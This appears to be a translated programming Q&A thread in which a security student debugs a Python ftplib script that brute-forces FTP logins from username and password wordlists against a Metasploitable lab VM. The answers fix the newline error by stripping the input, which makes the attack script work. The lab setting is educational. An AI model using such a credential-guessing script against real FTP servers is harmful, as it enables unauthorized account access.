错误 [Python] ftplib 模块登录错误

ERROR [Python] Login error with the ftplib module

我学习计算机安全,我正在使用安装了 metasploitable 的虚拟机对 ftp 服务器重新进行暴力攻击,但出现错误。 奇怪的是,我看到其他人使用相同的代码并且它们工作得很好,但是当我在我的 cmd 中使用这段代码时,我得到一个错误,我不明白为什么。

当我尝试执行脚本时,cmd 告诉我以下行有错误:

brute(ip, users_file, passwords_file)
ans = conect.login(user, password)
resp = self.sendcmd(´USER´, + user)
self.putcmd(cmd)
self.putline(line)   
raise ValueError('an illegal newline character should not be contained')
ValueError an illegal newline character should not be contained

我要执行的代码是这样的:

import ftplib
import sys

def brute(ip, users_file, passwords_file):
 try:
    ud = open(users_file, "r")
    pd = open(passwords_file, "r")

    users = ud.readlines()
    passwords = pd.readlines()

    for user in users:
        for password in passwords:
            try:
                print "[*]Trying to connect"
                conect = ftplib.FTP(ip)
                ans = conect.login(user, password)
                if ans ==  "230 Login successful.":
                    print "[*]Successfull atack"
                    print "User: ", user
                    print "Password: ", password
                    sys.exit()
                else:
                    pass
             except ftplib.error_perm:
                print "Can't Brute Force with user: " + user + " and password: " + password
                conect.close

 except(KeyboardInterrupt):
    print "Interrupted. Later!"
    sys.exit()

ip = raw_input("IP: ")
users_file = "users.txt"
passwords_file = "passwords.txt"

brute(ip, users_file, passwords_file)

有人知道为什么会这样吗?

尝试从字符串中去除任何尾随 space。

替换

ans = conect.login(user, password)

ans = conect.login(user.strip(), password.strip())

您好,我遇到了同样的问题。 在 Ubuntu Mate 和 Windows 7 中,FTP 块正常工作。我在 Windows 10 中安装了最新的 Anaconda,但出现了 "raise ValueError('an illegal newline character should not be contained')" 错误。所以我安装了 Anaconda 4.3.1 和 Python 3.6.0(我在 windows 7 中使用的版本)并且我没有更多的 FTP 问题。也许Anaconda/Python的早期版本也可以正常工作,我没有尝试。